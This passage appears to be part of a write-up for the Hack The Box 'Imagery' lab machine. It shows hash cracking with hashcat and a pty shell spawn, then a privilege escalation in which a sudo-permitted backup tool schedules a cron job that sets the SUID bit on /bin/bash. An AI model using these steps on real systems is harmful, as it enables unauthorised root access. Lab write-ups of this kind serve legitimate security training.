unzip decrypted_-7187609165043174575.zip -d imagerysh
cat db.json
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d50...",
"displayId": "f8p10uw0",
"isTestuser": false,
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7...",
"displayId": "8utz23o5",
"isTestuser": true,
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "mark@imagery.htb",
"password": "01c3d2e5...",
"displayId": "868facaf",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
},
{
"username": "web@imagery.htb",
"password": "84e3c804...",
"displayId": "7be291d4",
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
sh
hashcat -m 0 01c3d2e5... /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-13th Gen Intel(R) Core(TM) i9-13900HX, 4239/8543 MB (2048 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
01c3d2e5...:supersmashsh
web@Imagery:/var/backup$ su mark
su mark
Password: supersmash
whoami
marksh
python3 -c 'import pty; pty.spawn("/bin/bash")'user.txt
sh
mark@Imagery:~$ cat user.txt
cat user.txt
d3c5238c...priv esc
sh
mark@Imagery:~$ sudo -l
sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcolsh
mark@Imagery:~$ sudo charcol
sudo charcol shell
░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██
Charcol The Backup Suit - Development edition 1.0.0
mark@Imagery:~$ sudo charcol --reset-password-to-defaultsh
sudo charcol shell
charcol> auto add --schedule "* * * * *" --command "chmod u+s /bin/bash" --name "Privesc"
<*" --command "chmod u+s /bin/bash" --name "Privesc"
[2025-09-30 05:45:57] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
supersmash
[2025-09-30 05:46:09] [INFO] System password verified successfully.
[2025-09-30 05:46:09] [INFO] Auto job 'Privesc' (ID: f088fda8-58a6-4b17-af5a-4acb175f80eb) added successfully. The job will run according to schedule.
[2025-09-30 05:46:09] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true chmod u+s /bin/bashsh
mark@Imagery:~$ ls -al /bin/bash
ls -al /bin/bash
-rwsr-xr-x 1 root root 1474768 Oct 26 2024 /bin/bash
mark@Imagery:~$ /bin/bash -p
/bin/bash -p
bash-5.2# whoami
whoami
rootroot.txt
sh
bash-5.2# cat root.txt
cat root.txt
d290045c...Up next
MediumOct 2025
HTB — DarkZero
Active Directory environment with Shadow Credentials and Resource-Based Constrained Delegation abuse to achieve full domain compromise.
Read writeup
MediumOct 2025
HTB — Hercules
Windows machine leveraging MSSQL linked server abuse and xp_cmdshell to gain initial foothold, then DPAPI credential decryption for escalation.
Read writeup
MediumOct 2025
HTB — Conversor
Unit conversion web app vulnerable to server-side formula injection, leading to arbitrary OS command execution.
Read writeup